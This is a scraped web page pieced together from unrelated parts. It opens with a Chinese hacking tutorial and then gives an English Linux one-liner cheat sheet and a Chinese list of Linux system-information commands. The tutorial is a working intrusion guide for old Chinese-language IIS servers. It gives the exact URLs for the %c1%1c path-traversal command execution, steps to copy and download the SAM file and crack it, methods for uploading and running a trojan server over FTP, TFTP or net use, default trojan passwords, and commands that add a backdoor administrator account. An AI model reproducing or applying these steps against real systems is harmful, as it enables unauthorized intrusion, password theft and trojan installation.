那么我们把copy c:\winnt\repair\sam._ c:\inetpub\wwwroot\
然后用浏览器下载，用破NT密码的工具，比如l0phtcrack来破。
b.上载文件
1.找一个ftp服务器，将须上载的文件copy 到ftp服务器上，
假设这个 ftp server的 ip:127.1.1.1 ,username:abc,password:bbb 文件名：srv.exe
2.编辑一个上载执行文件
+up.txt">http://ip/scripts/ccc.exe?/c+echo+open+home4u.china.com>+up.txt
>+up.txt">http://ip/scripts/ccc.exe?/c+echo+pppppppppp>>+up.txt (>>号前不要有空格）
>+up.txt">http://ip/scripts/ccc.exe?/c+echo+pppppppppp>>+up.txt
http://ip/scripts/ccc.exe?/c+echo+get srv.exe>>+up.txt
>+up.txt">http://ip/scripts/ccc.exe?/c+echo+quit>>+up.txt
http://ip/scripts/ccc.exe?/c+tp+-s:up.txt
如果你看不懂上面的命令。
你在DOS下打一个ftp /?看看。
：P
成功率很高的哦。
3.然后http://ip/scripts/srv.exe运行它。
srv.exe是我放的一个冰河服务端。
下面不用我说了吧。
用冰河客户端连接他就可以了。
：P
顺便说一下
冰河的公用密码是：
05181977
他有70%左右的成功率。
subseven的共用密码是：
abuse
4.当然你也可以给他中一个nc99.exe等的东西。
获取administrator权限
上载getadmin.exe
getadmin iusr_机器名
这一招不一定有效哦。
http:/ip/scripts/ccc.exe?/c+net+user+aaa+12345+/add
http:/ip/scripts/ccc.exe?/c+net+localgroup+administrators+aaa+/add
c. 当然我们也有其他方法来上传文件。
前一段时间黑了几个台湾网站，net use也练得比较熟了。
看到有一个类似的教程用net use。
我也试了一下，累试不爽。呵呵
找个中转站，利用net use来上传文件。
我们要用到legion。
legion是一个扫描共享的软件。
你通过用它，你会找到一大堆的蠢伙。把整个C.D盘共享，并且不用密码的。
当然，设置密码也是没用的。呵呵猜26个字母就搞掂了。当然这要用另外一个软件。：P，在这就不说了。
找到后C盘或D盘后，
net use g: \\x.x.x.x\d
把他的d映射成你的g:盘。
现在我们来把东西拷贝到他的D盘，也就是你的G盘。
copy e:\tools\srv.exe \
拷贝一个文件，随便你哦。：P
你也可以在我的电脑里把它拖过去就可以了。：P
操作完成就不管他了。
让我们来回到服务器上操作。
1http://x.x.x.x/scripts/ccc.exe?/c+net+use+g:+\\10.1.1.1\d
建立连接和映射。
这个过程时间可能会长一点，耐心等等。
2http://x.x.x.x/scripts/ccc.exe?/c+dir+g :
看看东西在不在哦：P
3http://x.x.x.x/scripts/ccc.exe?/c+g:\srv.exe
直接运行就可以了。
：P
又一个中了木马。
但我不能保证它能100%成功哦。
d.用TFTP上传文件。
但具体怎么用我没试过。：（
谁知道的写信告诉我。
近来安全类技术网站提得最多的技术漏洞莫过于 %c1%1c 的问题。
%c1%1c，中文简体里面没有这种字，照正常的情况根据内码转换文件
\winnt\system32\c_936.nls会编码成“？”。但对中文简体版IIS中
c1 1c解码成了（c1-c0)*40+1c=5c=“\”。此编码发生在IIS检测处理路
径串中的“..\”之后，所以可以突破IIS路径访问到上级目录。此漏洞
从中文IIS4.0+SP6开始，还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0
+SP1，好像台湾繁体中文也受此漏洞影响。
执行：http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32
/cmd.exe?/c+dir%20c:\发现列出了远程主机C:\下的所有文件，执行：http://xxx.xxx.xxx.xxx/scripts/.. ../winnt/system32/cmd.exe?/c
+copy%20c:\autoexec.bat%20c:\autoexec.bak 成功实现文件的复制，
执行：http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/
cmd.exe?/c+del%20c:\autoexec.bak 成功实现文件的删除，哇！太利害了。
随便浏览了一下，因为是国内的主机，不想搞破坏，只想练练手！目的：
获得Administrator权限。
执行：http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/
cmd.exe?/c+copy%20c:\winnt\repair\sam._%20c:\inetpub\wwwroot\
把sam._文件拷贝到wwwroot文件内，输入：http://xxx.xxx.xxx.xxx/sam._
将sam._文件下载到本地，执行：http://xxx.xxx.xxx.xxx/scripts/.. ../winnt/system32/cmd.exe?/c
+del%20c:\inetpub\wwwroot\sam._清除痕迹。
在本机执行：C:>expand sam._ sam
启动l0phtcrack 2.5(可到http://rina.yofor.com/7index.html 下载)，Import Sam File... 导入sam文件，Open Wordlist File...
打开一个字典，Run Crack，乖乖，要17个小时，不管它，让它慢慢破去，先睡个
觉先！五分钟后来一看，Administrator 的 Nt Password 居然是 123456，我昏，
网管们注意了，这种密码也可以取呀？执行：C:\>newletmein \\xxx.xxx.xxx -admin
扫描主机，发现管理员ID是：asdfghjk,执行：C:\>net use \\xxx.xxx.xxx.xxxc$
123456 /user:asdfghjk 成功联上对方主机，大功告成！
文中提及的FTP上传现在不太用了，都改用TFTP上传。我简要说一下TFTP的使用方法：
首先使自己的系统配置成为TFTP服务器。这个很好办，下载一个TFTP服务器在本机运行起来。然后在存在U漏洞的目标主机浏览器里输入：
http://192.168.4.95/scripts/..%c1%1c../win...2;\srv.exe
这里的srv.exe是你想要放的木马程序。注意：要上传的文件必须和TFTP服务器在同一目录下。192.168.4.95是对方IP，192.168.4.91是自己IP。然后通过浏览器来执行这个木马：
http://192.168.4.95/scripts/..%c1%1c../win....exe?/c+srv.exe
回车后木马就在远程主机上运行了。以后能做什么事就取决于该木马的功能。
当然，也可以通过TFTP来下载，譬如说我想把它的c:\winnt\repair\SAM._文件down下来，就在浏览器里这样输入：
http://192.168.4.95/scripts/..%c1%1c../win...repair\sam
这样SAM文件就被下载到本地TFTP的同一个目录里。
当然也可以先把目标主机的SAM文件复制到c:\inetpub\wwwroot\，然后通过浏览器来下载。这样做：
http://192.168.4.95/scripts/..%c1%1c../win...2;wwwroot\
这样就把c:\winnt\repair\里的sam文件拷贝到c:\Inetpub\wwwroot\下，利用浏览器把它下载来。在地址栏里输入：
http://192.168.4.95/sam
回车后SAM文件就被下载到本地了。
然后用10phtcrack这样的工具进行破解。10phtcrack是大名鼎鼎的破NT密码的工具，成功率很高，一般的密码被破解出来只是时间长短的问题。得到管理员密码后，就可以参考前一种方法进一步入侵系统了

Linux文件查找命令find,xargs详述

Recover MySQL Database root password




By default, MySQL Server will be installed with root superuser without any password. You can connect to MySQL server as root without requiring password or by keying in blank password. However, if you have set the password for root and forget or unable to recall the password, then you will need to reset the root password for MySQL.

Command		Description
•	grep . /proc/sys/net/ipv4/*	List the contents of flag files
•	set | grep $USER	Search current environment
•	tr '\0' '\n' < /proc/$$/environ	Display the startup environment for any process
•	echo $PATH | tr : '\n'	Display the $PATH one per line
•	kill -0 $$ && echo process exists and can accept signals	Check for the existence of a process (pid)
•	find /etc -readable | xargs less -K -p'*ntp' -j $((${LINES:-25}/2))	Search paths and data with full context. Use n to iterate
Low impact admin
#	apt-get install "package" -o Acquire::http::Dl-Limit=42 \ -o Acquire::Queue-mode=access	Rate limit apt-get to 42KB/s
	echo 'wget url' | at 01:00	Download url at 1AM to current dir
#	apache2ctl configtest && apache2ctl graceful	Restart apache if config is OK
•	nice openssl speed sha1	Run a low priority command (openssl benchmark)
•	chrt -i 0 openssl speed sha1	Run a low priority command (more effective than nice)
•	renice 19 -p $$; ionice -c3 -p $$	Make shell (script) low priority. Use for non interactive tasks
Interactive monitoring
•	watch -t -n1 uptime	Clock with system load
•	htop -d 5	Better top (scrollable, tree view, lsof/strace integration, ...)
•	iotop	What's doing I/O
#	watch -d -n30 "nice ps_mem.py | tail -n $((${LINES:-12}-2))"	What's using RAM
#	iftop	What's using the network. See also iptraf
#	mtr www.pixelbeat.org	ping and traceroute combined
Useful utilities
•	pv < /dev/zero > /dev/null	Progress Viewer for data copying from files and pipes
•	wkhtml2pdf http://.../linux_commands.html linux_commands.pdf	Make a pdf of a web page
•	timeout 1 sleep 3	run a command with bounded time. See also timeout
Networking
•	python -m SimpleHTTPServer	Serve current directory tree at http://$HOSTNAME:8000/
•	openssl s_client -connect www.google.com:443 </dev/null 2>&0 | openssl x509 -dates -noout	Display the date range for a site's certs
•	curl -I www.pixelbeat.org	Display the server headers for a web site
#	lsof -i tcp:80	What's using port 80
#	httpd -S	Display a list of apache virtual hosts
•	vim scp://user@remote//path/to/file	Edit remote file using local vim. Good for high latency links
•	curl -s http://www.pixelbeat.org/pixelbeat.asc | gpg --import	Import a gpg key from the web
•	tc qdisc add dev lo root handle 1:0 netem delay 20msec	Add 20ms latency to loopback device (for testing)
•	tc qdisc del dev lo root	Remove latency added above
Notification
•	echo "DISPLAY=$DISPLAY xmessage cooker" | at "NOW +30min"	Popup reminder
•	notify-send "subject" "message"	Display a gnome popup notification
	echo "mail -s 'go home' P@draigBrady.com < /dev/null" | at 17:30	Email reminder
	uuencode file name | mail -s subject P@draigBrady.com	Send a file via email
	ansi2html.sh | mail -a "Content-Type: text/html" P@draigBrady.com	Send/Generate HTML email
Better default settings (useful in your .bashrc)
#	tail -s.1 -f /var/log/messages	Display file additions more responsively
•	seq 100 | tail -n $((${LINES:-12}-2))	Display as many lines as possible without scrolling
#	tcpdump -s0	Capture full network packets
Useful functions/aliases (useful in your .bashrc)
•	md () { mkdir -p "$1" && cd "$1"; }	Change to a new directory
•	strerror() { python -c "import os; print os.strerror($1)"; }	Display the meaning of an errno
•	plot() { { echo 'plot "-"' "$@"; cat; } | gnuplot -persist; }	Plot stdin. (e.g: • seq 1000 | sed 's/.*/s(&)/' | bc -l | plot)
•	hili() { e="$1"; shift; grep --col=always -Eih "$e|$" "$@"; }	highlight occurences of expr. (e.g: • env | hili $USER)
•	alias hd='od -Ax -tx1z -v'	Hexdump. (usage e.g.: • hd /proc/self/cmdline | less)
•	alias realpath='readlink -f'	Canonicalize path. (usage e.g.: • realpath ~/../$USER)
•	ord() { printf "0x%x\n" "'$1"; }	shell version of the ord() function
•	chr() { printf $(printf '\\%03o\\n' "$1"); }	shell version of the chr() function
Multimedia
•	DISPLAY=:0.0 import -window root orig.png	Take a (remote) screenshot
•	convert -filter catrom -resize '600x>' orig.png 600px_wide.png	Shrink to width, computer gen images or screenshots
	mplayer -ao pcm -vo null -vc dummy /tmp/Flash*	Extract audio from flash video to audiodump.wav
	ffmpeg -i filename.avi	Display info about multimedia file
•	ffmpeg -f x11grab -s xga -r 25 -i :0 -sameq demo.mpg	Capture video of an X display
DVD
	for i in $(seq 9); do ffmpeg -i $i.avi -target pal-dvd $i.mpg; done	Convert video to the correct encoding and aspect for DVD
	dvdauthor -odvd -t -v "pal,4:3,720xfull" *.mpg;dvdauthor -odvd -T	Build DVD file system. Use 16:9 for widescreen input
	growisofs -dvd-compat -Z /dev/dvd -dvd-video dvd	Burn DVD file system to disc
Unicode
•	python -c "import unicodedata as u; print u.name(unichr(0x2028))"	Lookup a unicode character
•	uconv -f utf8 -t utf8 -x nfc	Normalize combining characters
•	printf '\300\200' | iconv -futf8 -tutf8 >/dev/null	Validate UTF-8
•	printf 'ŨTF8\n' | LANG=C grep --color=always '[^ -~]\+'	Highlight non printable ASCII chars in UTF-8
•	fc-match -s "sans:lang=zh"	List font match order for language and style
Development
•	gcc -march=native -E -v -</dev/null 2>&1|sed -n 's/.*-mar/-mar/p'	Show autodetected gcc tuning params. See also gcccpuopt
•	for i in $(seq 4); do { [ $i = 1 ] && wget http://url.ie/6lko -qO-|| ./a.out; } | tee /dev/tty | gcc -xc - 2>/dev/null; done	Compile and execute C code from stdin
•	cpp -dM /dev/null	Show all predefined macros
•	echo "#include <features.h>" | cpp -dN | grep "#define __USE_"	Show all glibc feature macros
	gdb -tui	Debug showing source code context in separate windows
udev
•	udevadm info -a -p $(udevadm info -q path -n /dev/input/mouse0)	List udev attributes of a device, for matching rules etc.
•	udevadm test /sys/class/input/mouse0	See how udev rules are applied for a device
#	udevadm control --reload-rules	Reload udev rules after modification
Extended Attributes (Note you may need to (re)mount with "acl" or "user_xattr" options)
•	getfacl .	Show ACLs for file
•	setfacl -m u:nobody:r .	Allow a specific user to read file
•	setfacl -x u:nobody .	Delete a specific user's rights to file
	setfacl --default -m group:users:rw- dir/	Set umask for a for a specific dir
	getcap file	Show capabilities for a program
	setcap cap_net_raw+ep your_gtk_prog	Allow gtk program raw access to network
•	stat -c%C .	Show SELinux context for file
	chcon ... file	Set SELinux context for file (see also restorecon)
•	getfattr -m- -d .	Show all extended attributes (includes selinux,acls,...)
•	setfattr -n "user.foo" -v "bar" .	Set arbitrary user attributes
BASH specific
•	echo 123 | tee >(tr 1 a) | tr 1 b	Split data to 2 commands (using process substitution)
	meld local_file <(ssh host cat remote_file)	Compare a local and remote file (using process substitution)
Multicore
•	taskset -c 0 nproc	Restrict a command to certain processors
•	find -type f -print0 | xargs -r0 -P$(nproc) -n10 md5sum	Process files in parallel over available processors
	sort -m <(sort data1) <(sort data2) >data.sorted	Sort separate data files over 2 processors

最近看了一些Linux命令行的文章，在系统信息查看方面学到不少命令。发现这些系统信息查看命令也可以总结出一篇小小的东西来了。

另外这里还有非常多的命令， 可以作为参考。

# uname -a               # 查看内核/操作系统/CPU信息
# head -n 1 /etc/issue   # 查看操作系统版本
# cat /proc/cpuinfo      # 查看CPU信息
# hostname               # 查看计算机名
# lspci -tv              # 列出所有PCI设备
# lsusb -tv              # 列出所有USB设备
# lsmod                  # 列出加载的内核模块
# env                    # 查看环境变量

# free -m                # 查看内存使用量和交换区使用量
# df -h                  # 查看各分区使用情况
# du -sh <目录名>        # 查看指定目录的大小
# grep MemTotal /proc/meminfo   # 查看内存总量
# grep MemFree /proc/meminfo    # 查看空闲内存量
# uptime                 # 查看系统运行时间、用户数、负载
# cat /proc/loadavg      # 查看系统负载

# mount | column -t      # 查看挂接的分区状态
# fdisk -l               # 查看所有分区
# swapon -s              # 查看所有交换分区
# hdparm -i /dev/hda     # 查看磁盘参数(仅适用于IDE设备)
# dmesg | grep IDE       # 查看启动时IDE设备检测状况

# ifconfig               # 查看所有网络接口的属性
# iptables -L            # 查看防火墙设置
# route -n               # 查看路由表
# netstat -lntp          # 查看所有监听端口
# netstat -antp          # 查看所有已经建立的连接
# netstat -s             # 查看网络统计信息

# ps -ef                 # 查看所有进程
# top                    # 实时显示进程状态

# w                      # 查看活动用户
# id <用户名>            # 查看指定用户信息
# last                   # 查看用户登录日志
# cut -d: -f1 /etc/passwd   # 查看系统所有用户
# cut -d: -f1 /etc/group    # 查看系统所有组
# crontab -l             # 查看当前用户的计划任务

# chkconfig --list       # 列出所有系统服务
# chkconfig --list | grep on    # 列出所有启动的系统服务

# rpm -qa                # 查看所有安装的软件包

附加一张总结的很好Linux常用命定的图片：

Linux 文件结构大全